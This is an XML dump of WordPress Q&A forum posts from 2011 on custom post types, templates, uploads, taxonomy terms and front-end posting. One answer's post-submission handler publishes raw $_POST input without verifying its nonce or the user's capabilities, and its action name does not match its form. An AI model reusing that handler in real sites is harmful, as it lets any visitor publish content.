  <row Id="15262" PostTypeId="2" ParentId="15227" CreationDate="2011-04-20T21:45:41.483" Score="1" ViewCount="" Body="&lt;p&gt;Hm... In more pure sense of the question I suppose you could filter &lt;code&gt;active_plugins&lt;/code&gt; option on retrieval via &lt;code&gt;option_active_plugins&lt;/code&gt; filter and throw plugin out for one of the sites. But I won't try to predict what this can cause to active/inactive state in your situation. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think more practical solution would be to figure out functions and hooks that SEO plugin uses and unhook them. Hopefully plugin you use is coded decently enough for that to be possible without much trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more idea - dump plugin in &lt;code&gt;mu-plugins&lt;/code&gt; for one of the sites so it is forcefully active for it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-20T21:45:41.483" />
  <row Id="15263" PostTypeId="2" ParentId="15242" CreationDate="2011-04-20T21:50:09.977" Score="3" ViewCount="" Body="&lt;p&gt;The page template for custom post type is not saved because it is checking whether the post type is &quot;page&quot; - it is not implemented for custom post types yet. The drop-down for the page templates was completely removed in 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my way how to deal with it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Define the custom box */&#xA;&#xA;// WP 3.0+&#xA;add_action('add_meta_boxes', 'custom_template_add_custom_box');&#xA;&#xA;// backwards compatible&#xA;//add_action('admin_init', 'custom_templatet_add_custom_box', 1);&#xA;&#xA;/* Do something with the data entered */&#xA;add_action('save_post', 'custom_template_save_postdata');&#xA;&#xA;/* Adds a box to the main column on the Post and Page edit screens */&#xA;function custom_template_add_custom_box() {&#xA;    add_meta_box( 'custom-post-type-template', 'Custom Post Type Template', 'custom_template_inner_box', 'foo_resources', 'side' );&#xA;}&#xA;&#xA;/* Prints the box content */&#xA;function custom_template_inner_box( $post ) {&#xA;&#xA;    // Use nonce for verification&#xA;    wp_nonce_field( plugin_basename(__FILE__), 'custom_template_noncename' );&#xA;&#xA;    if ( 0 != count( get_page_templates() ) ) {&#xA;        $page_template = get_post_meta($post-&amp;gt;ID, '_wp_page_template', TRUE); ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e('Template') ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;page_template&quot;&amp;gt;&amp;lt;?php _e('Page Template') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;select name=&quot;page_template&quot; id=&quot;page_template&quot;&amp;gt;&#xA;    &amp;lt;option value='default'&amp;gt;&amp;lt;?php _e('Default Template'); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php page_template_dropdown($page_template); ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&amp;lt;?php }&#xA;}&#xA;&#xA;/* When the post is saved, saves our custom data */&#xA;function custom_template_save_postdata( $post_id ) {&#xA;&#xA;     // verify this came from the our screen and with proper authorization,&#xA;     // because save_post can be triggered at other times&#xA;&#xA;     if ( !isset( $_POST['custom_template_noncename'] ) || !wp_verify_nonce( $_POST['custom_template_noncename'], plugin_basename(__FILE__) ) )&#xA;         return $post_id;&#xA;&#xA;     // verify if this is an auto save routine. &#xA;     // If it is our form has not been submitted, so we dont want to do anything&#xA;     if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;         return $post_id;&#xA;&#xA;&#xA;     // Check permissions&#xA;     if ( 'page' == $_POST['post_type'] ) &#xA;     {&#xA;       if ( !current_user_can( 'edit_page', $post_id ) )&#xA;           return $post_id;&#xA;     }&#xA;     else&#xA;     {&#xA;       if ( !current_user_can( 'edit_post', $post_id ) )&#xA;           return $post_id;&#xA;     }&#xA;&#xA;     // OK, we're authenticated: we need to find and save the data&#xA;&#xA;     $page_template = $_POST['page_template'];&#xA;&#xA;    if ( !empty($page_template) &amp;amp;&amp;amp; 'foo_resources' == get_post_type($post_id) ) {&#xA;        $page_templates = get_page_templates();&#xA;        if ( 'default' != $page_template &amp;amp;&amp;amp; !in_array($page_template, $page_templates) ) {&#xA;            if ( $wp_error )&#xA;                return new WP_Error('invalid_page_template', __('The page template is invalid.'));&#xA;            else&#xA;                return 0;&#xA;        }&#xA;        update_post_meta($post_id, '_wp_page_template',  $page_template);&#xA;    }&#xA;}&#xA;&#xA;/* Custom template redirection hook */&#xA;&#xA;function custom_template_redirect() {&#xA;    global $post;&#xA;&#xA;    if ( is_single() &amp;amp;&amp;amp; 'foo_resources' == get_post_type($post) ) {&#xA;        $page_template = get_page_template();&#xA;        include($page_template);&#xA;        exit;&#xA;    }&#xA;}&#xA;add_action(&quot;template_redirect&quot;, 'custom_template_redirect');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe you should consider to use &lt;a href=&quot;http://codex.wordpress.org/Post_Formats&quot; rel=&quot;nofollow&quot;&gt;Post Formats&lt;/a&gt; as another option.&lt;/p&gt;&#xA;" OwnerUserId="2515" LastEditorUserId="2515" LastEditorDisplayName="" LastEditDate="2011-04-20T21:59:42.057" LastActivityDate="2011-04-20T21:59:42.057" CommentCount="1" />
  <row Id="15264" PostTypeId="1" AcceptedAnswerId="15268" CreationDate="2011-04-20T21:55:52.030" Score="2" ViewCount="143" Body="&lt;p&gt;It is possible to restrict the upload process to choose only one file. Now a person can select various files from pc, Im trying to find a way to restrict this feature just to one file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-04-20T22:09:45.913" LastActivityDate="2011-04-26T14:03:07.883" Title="Media upload - choose only one file" Tags="&lt;uploads&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="15265" PostTypeId="2" ParentId="15261" CreationDate="2011-04-20T21:58:57.747" Score="1" ViewCount="" Body="&lt;p&gt;Yep, I don't think this is something you can easily do natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two ways that I see:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;posts_orderby&lt;/code&gt; to modify SQL request and order posts by post type, then just need to check so headings don't repeat.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of looping through posts in order returned, take array of those and sort by post type before looping for output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-20T21:58:57.747" CommentCount="4" />
  <row Id="15267" PostTypeId="2" ParentId="15234" CreationDate="2011-04-20T22:03:18.120" Score="0" ViewCount="" Body="&lt;p&gt;I am no huge expert on SQL side, but this seems like resource-intensive operation however you approach it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On other hand it doesn't seem like type of information that is very dynamic so my suggestion would be to simply cache results with &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transients API&lt;/a&gt; for decent interval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if going more complex info practically only changes when author publishes a post (or post is deleted) so you can selectively hook into such events to recalculate and store info for authors only then.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-20T22:03:18.120" />
  <row Id="15268" PostTypeId="2" ParentId="15264" CreationDate="2011-04-20T22:22:09.130" Score="1" ViewCount="" Body="&lt;p&gt;WordPress contains 2 media up-loaders.  The Flash uploader allows the selection of multiple files while the browser uploader only allows 1 file at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable the Flash uploader add the following filter to functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('flash_uploader', create_function('$flash', 'return false;'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;EDIT&lt;/h3&gt;&#xA;&#xA;&lt;h3&gt;After further investigation it's probably not a great idea to use create_function.  A beter way to remove the filter would be:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function disable_flash_uplaoder() {&#xA;        return $flash = false;&#xA;}&#xA;add_filter( 'flash_uploader', 'disable_flash_uploader', 7 ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-20T22:38:03.843" LastActivityDate="2011-04-20T22:38:03.843" CommentCount="4" />
  <row Id="15269" PostTypeId="2" ParentId="15241" CreationDate="2011-04-20T22:30:40.340" Score="2" ViewCount="" Body="&lt;p&gt;WPMUdev has a &lt;a href=&quot;http://premium.wpmudev.org/project/multi-db/installation/&quot; rel=&quot;nofollow&quot;&gt;Multi-DB plugin&lt;/a&gt; but you won't see any performance gains from splitting your database up unless you have a very high volume of sites with thousands of tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the plugin instructions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Step 1:  Decide how many databases you&#xA;  want (16, 256, 4096)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So, how do you know that this plugin&#xA;  is necessary for your install?   Well,&#xA;  there are several factors to consider&#xA;  beyond the scope of this  walkthrough,&#xA;  but as a basic guideline:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1-5,000 blogs/sites you should be fine&#xA;  with your WordPress default database&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;5,000 - 50,000 blogs/sites - go with&#xA;  16 databases&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;50,000 - 100,000 blogs/sites - use 256&#xA;  databases&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;100,000+ blogs/sites - use 4096&#xA;  databases&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-20T22:30:40.340" CommentCount="1" />
  <row Id="15271" PostTypeId="2" ParentId="15237" CreationDate="2011-04-20T22:35:14.703" Score="0" ViewCount="" Body="&lt;p&gt;Have you considered using a Conditional Tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(is_page('your-page-name')) { ?&amp;gt;&#xA;//inlcude script here&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More on Conditional Statements:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Conditional_Tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-20T22:35:14.703" CommentCount="1" />
  <row Id="15272" PostTypeId="2" ParentId="15237" CreationDate="2011-04-20T22:43:51.597" Score="1" ViewCount="" Body="&lt;p&gt;It's not about hook you use to set up queue (although you should use &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; instead but what you are doing will break that as well), it's that by removing header and footer you are also removing &lt;code&gt;wp_head&lt;/code&gt; and &lt;code&gt;wp_footer&lt;/code&gt; hooks that (among many other things) handle output of queued scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your template is that minimal it is probably easiest to explicitly echo your script with &lt;code&gt;wp_print_scripts()&lt;/code&gt; (pass your script's handle).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-20T22:43:51.597" CommentCount="1" />
  <row Id="15273" PostTypeId="2" ParentId="15264" CreationDate="2011-04-20T22:47:35.900" Score="1" ViewCount="" Body="&lt;p&gt;The answer Chris gave is nice but doesnt really limit the upload to one file only, its just one file at a time, so the user can upload as many as he wants, but you can also limit the upload on the flash uploader to only one file using &lt;code&gt;wp_handle_upload_prefilter&lt;/code&gt; hook, take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8107/limit-image-upload-to-one-and-disable-audio-video-and-other-document-file-types/8111#8111&quot;&gt;Mikes answer&lt;/a&gt; to a similar question.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-20T22:47:35.900" />
  <row Id="15274" PostTypeId="1" CreationDate="2011-04-20T23:06:58.387" Score="0" ViewCount="35" Body="&lt;p&gt;I created custom post pages called &quot;PRODUCTS&quot; and &quot;GENERALS&quot; when I populate list-box with titles from &quot;GENERALS&quot; in &quot;PRODUCTS&quot; it fills the title, description and Excerpts areas of &quot;PRODUCTS&quot; on new entery, with the first most record from &quot;GENERALS&quot; as well Permalink: &lt;a href=&quot;http://localhost/archives/generals/01&quot; rel=&quot;nofollow&quot;&gt;http://localhost/archives/generals/01&lt;/a&gt; , rather it should show Permalink: &lt;a href=&quot;http://localhost/archives/products/xxxxxx&quot; rel=&quot;nofollow&quot;&gt;http://localhost/archives/products/xxxxxx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code I am using to populate list-box in &quot;PRODUCTS&quot; is as under&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;&#xA;&amp;lt;option value=&quot;--------&quot; selected=&quot;selected&quot;&amp;gt;--------&amp;lt;/option&amp;gt;&#xA;&amp;lt;?php&#xA;$loop = new WP_Query('post_type=generals');&#xA;while( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;&amp;lt;option value=&quot;&amp;lt;?php the_title();?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/option&amp;gt;&#xA;&amp;lt;?php&#xA;endwhile;&#xA;wp_reset_postdata();&#xA;?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4806" LastActivityDate="2011-04-20T23:06:58.387" Title="custom posts in custom posts" Tags="&lt;custom-post-types&gt;" />
  <row Id="15275" PostTypeId="2" ParentId="15210" CreationDate="2011-04-20T23:27:20.343" Score="0" ViewCount="" Body="&lt;p&gt;A plugin conflicted witt eh last 30 lines or so of my css file. No idea what exactly it did to cause this, but disabled the plugin and everything is solved.&lt;/p&gt;&#xA;" OwnerUserId="919" LastActivityDate="2011-04-20T23:27:20.343" />
  <row Id="15277" PostTypeId="1" AcceptedAnswerId="15281" CreationDate="2011-04-20T23:37:08.403" Score="0" ViewCount="162" Body="&lt;p&gt;I'm using -&lt;a href=&quot;http://www.farinspace.com/how-to-create-custom-wordpress-meta-box/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;- to add simple meta boxes to a custom post type. But the textarea meta boxes are spitting out content all as one big paragraph, with no &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; formatting applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What code would add the -&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpautop&quot; rel=&quot;nofollow&quot;&gt;wpautop filter&lt;/a&gt;- to the meta box textarea? Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-21T00:16:30.030" Title="Add filter 'wpautop' to meta box textarea" Tags="&lt;metabox&gt;&lt;add-meta-box&gt;&lt;wp-autop&gt;" AnswerCount="1" />
  <row Id="15278" PostTypeId="2" ParentId="15222" CreationDate="2011-04-20T23:55:38.603" Score="1" ViewCount="" Body="&lt;p&gt;Just remove &lt;em&gt;pagename=event&amp;amp;&lt;/em&gt; and reset your rewrite rules...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newRule = array('event/(.+)' =&amp;gt; 'index.php?eventid='.$wp_rewrite-&amp;gt;preg_index(1));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;*template_include* is a &lt;strong&gt;filter&lt;/strong&gt; NOT an action!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('template_include', array($EventpageCode, 'template_redirect_intercept'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can use *wp_title* &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_title&quot; rel=&quot;nofollow&quot;&gt;function&lt;/a&gt; or &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/nav.html?wp-includes/general-template.php.source.html#l609&quot; rel=&quot;nofollow&quot;&gt;filter&lt;/a&gt; to modify your page title.&lt;/p&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2011-04-20T23:55:38.603" CommentCount="1" />
  <row Id="15279" PostTypeId="2" ParentId="15047" CreationDate="2011-04-20T23:56:56.933" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;cross-press&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bit of a play on your plugin name and wordpress&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-20T23:56:56.933" CommentCount="1" />
  <row Id="15281" PostTypeId="2" ParentId="15277" CreationDate="2011-04-21T00:16:30.030" Score="1" ViewCount="" Body="&lt;p&gt;Add a function that grabs your meta data, applies wpautop and echoes it out, or otherwise run it through when you output it in your template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_meta = get_post_meta($post-&amp;gt;ID,'_my_meta',TRUE);&#xA;echo $my_meta['name'];&#xA;echo wpautop( $my_meta['description'], 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-21T00:16:30.030" CommentCount="1" />
  <row Id="15282" PostTypeId="2" ParentId="15236" CreationDate="2011-04-21T00:16:56.330" Score="1" ViewCount="" Body="&lt;p&gt;Even better way is to check the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Properties&quot; rel=&quot;nofollow&quot;&gt;current post position in query&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;&#xA;while (have_posts()) : the_post();&#xA;    $my_class = '';&#xA;    if ( $wp_query-&amp;gt;current_post == 0 ) $my_class = ' first';&#xA;    if ( $wp_query-&amp;gt;current_post == $wp_query-&amp;gt;post_count - 1 ) $my_class = ' last';&#xA;&#xA;    ?&amp;gt;&amp;lt;div class=&quot;post&amp;lt;?php echo $my_class; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php&#xA;&#xA;    ...&#xA;&#xA;    if ( $wp_query-&amp;gt;current_post == $wp_query-&amp;gt;post_count - 1 ) echo 'THE CONTENT UNDER THE FIRST POST';&#xA;&#xA;endwhile; // End the loop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2515" LastEditorUserId="2515" LastEditorDisplayName="" LastEditDate="2011-04-21T10:33:28.397" LastActivityDate="2011-04-21T10:33:28.397" CommentCount="4" />
  <row Id="15283" PostTypeId="1" AcceptedAnswerId="15288" CreationDate="2011-04-21T00:38:30.203" Score="1" ViewCount="204" Body="&lt;p&gt;i am trying to learn and create some deeper things with Wordpress. My goal is to create a code/script/plugin that will allow me to post from the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen many plugins, like templatic classifieds theme that submit, handle and edit posts from the frontend but are very complex with useless code for my purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a clearer view on how to get the ID, how to set a title, content and custom fields of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I go through this, I want to study it according to user_meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your examples, codes, ideas, links!&lt;/p&gt;&#xA;" OwnerUserId="4448" LastActivityDate="2011-04-21T01:54:08.687" Title="I am trying to create a simple frontend form for posting" Tags="&lt;posts&gt;&lt;custom-field&gt;&lt;forms&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="15284" PostTypeId="1" CreationDate="2011-04-21T00:48:31.370" Score="1" ViewCount="97" Body="&lt;p&gt;I've used this code to stipulate different separators for different pages in my clients site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&#xA;&amp;lt;?php if(is_page('Portfolio')){&#xA;    wp_title( 'of', true, 'right' );&#xA;    echo wp_specialchars( get_bloginfo('name'), 1 );&#xA;}else{&#xA;    wp_title( 'by', true, 'right' );&#xA;    echo wp_specialchars( get_bloginfo('name'), 1 );&#xA;}&#xA;    ?&amp;gt;&#xA;&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What it's outputting regardless of where i am on the site is :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Page Name | Blog Name&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which i find really odd, how is it going through the if statement and coming up with it's own answer?&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2011-08-20T04:32:29.933" Title="Browser title script ignoring is_page /else conditional" Tags="&lt;php&gt;&lt;shortcode&gt;&lt;title&gt;&lt;codex&gt;" AnswerCount="1" />
  <row Id="15285" PostTypeId="2" ParentId="15284" CreationDate="2011-04-21T00:52:09.713" Score="0" ViewCount="" Body="&lt;p&gt;OK, All-in-one-SEO pack was interfering with my decalration. Solved.&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2011-04-21T00:52:09.713" CommentCount="2" />
  <row Id="15286" PostTypeId="1" AcceptedAnswerId="15289" CreationDate="2011-04-21T01:25:29.930" Score="0" ViewCount="362" Body="&lt;p&gt;Im using the following code to get an array of children taxonomies and write them out with links in an unordered list.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;$termID = 10;&#xA;$taxonomyName = &quot;products&quot;;&#xA;$termchildren = get_term_children( $termID, $taxonomyName );&#xA;&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;foreach ($termchildren as $child) {&#xA;    $term = get_term_by( 'id', $child, $taxonomyName );&#xA;    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_term_link( $term-&amp;gt;name, $taxonomyName ) . '&quot;&amp;gt;' . $term-&amp;gt;name . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;}&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to achieve is to get the actual term (category) id so I can replace it on $termID and don't have to hardcode the id of the term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be kindly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4804" LastActivityDate="2011-04-21T02:36:38.320" Title="Get current term's ID" Tags="&lt;3.1&gt;&lt;taxonomy&gt;&lt;terms&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="15287" PostTypeId="2" ParentId="15286" CreationDate="2011-04-21T01:43:43.620" Score="0" ViewCount="" Body="&lt;p&gt;To get the Current term you can use &lt;code&gt;get_query_var( 'term' );&lt;/code&gt; and to get the current taxonomy you can use &lt;code&gt;get_query_var( 'taxonomy' )&lt;/code&gt; so you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term_slug = get_query_var( 'term' );&#xA;$taxonomyName = get_query_var( 'taxonomy' );&#xA;$current_term = get_term_by( 'slug', $term_slug, $taxonomyName );&#xA;$termchildren = get_term_children( $current_term-&amp;gt;term_id, $taxonomyName );&#xA;&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;foreach ($termchildren as $child) {&#xA;    $term = get_term_by( 'id', $child, $taxonomyName );&#xA;    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_term_link( $term-&amp;gt;name, $taxonomyName ) . '&quot;&amp;gt;' . $term-&amp;gt;name . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;}&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-21T01:43:43.620" CommentCount="1" />
  <row Id="15288" PostTypeId="2" ParentId="15283" CreationDate="2011-04-21T01:54:08.687" Score="1" ViewCount="" Body="&lt;p&gt;To post from the front-end you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post()&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So its simply a matter of a form and processing it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;!-- New Post Form --&amp;gt;&#xA;&amp;lt;div id=&quot;postbox&quot;&amp;gt;&#xA;&amp;lt;form id=&quot;new_post&quot; name=&quot;new_post&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;title&quot; value=&quot;&quot; tabindex=&quot;1&quot; size=&quot;20&quot; name=&quot;title&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;description&quot;&amp;gt;Description&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;textarea id=&quot;description&quot; tabindex=&quot;3&quot; name=&quot;description&quot; cols=&quot;50&quot; rows=&quot;6&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php wp_dropdown_categories( 'show_option_none=Category&amp;amp;tab_index=4&amp;amp;taxonomy=category' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;post_tags&quot;&amp;gt;Tags&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; tabindex=&quot;5&quot; size=&quot;16&quot; name=&quot;post_tags&quot; id=&quot;post_tags&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p align=&quot;right&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Publish&quot; tabindex=&quot;6&quot; id=&quot;submit&quot; name=&quot;submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;new_post&quot; /&amp;gt;&#xA;&amp;lt;?php wp_nonce_field( 'new-post' ); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!--// New Post Form --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the processing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp;  $_POST['action'] == &quot;new_game_post&quot;) {&#xA;&#xA;    // Do some minor form validation to make sure there is content&#xA;    if (isset ($_POST['title'])) {&#xA;        $title =  $_POST['title'];&#xA;    } else {&#xA;        echo 'Please enter a game  title';&#xA;    }&#xA;    if (isset ($_POST['description'])) {&#xA;        $description = $_POST['description'];&#xA;    } else {&#xA;        echo 'Please enter the content';&#xA;    }&#xA;    $tags = $_POST['post_tags'];&#xA;&#xA;    // Add the content of the form to $post as an array&#xA;    $new_post = array(&#xA;        'post_title'    =&amp;gt; $title,&#xA;        'post_content'  =&amp;gt; $description,&#xA;        'tags_input'    =&amp;gt; array($tags),&#xA;        'post_status'   =&amp;gt; 'publish',           // Choose: publish, preview, future, draft, etc.&#xA;        'post_type' =&amp;gt; $_POST['post_type']  // Use a custom post type if you want to&#xA;    );&#xA;    //save the new post and return its ID&#xA;    $pid = wp_insert_post($new_post); &#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bonus&lt;/strong&gt; &#xA;Once you have the post id ($pid in the above example) then you can easily set terms and custom fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; //insert taxonomies like categories tags or custom &#xA;    wp_set_post_terms($pid,(array)($_POST['cat']),'category',true);&#xA;&#xA;//insert custom fields&#xA;update_post_meta($pid,'meta_key_name',$_POST['meta_value']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-21T01:54:08.687" CommentCount="5" />
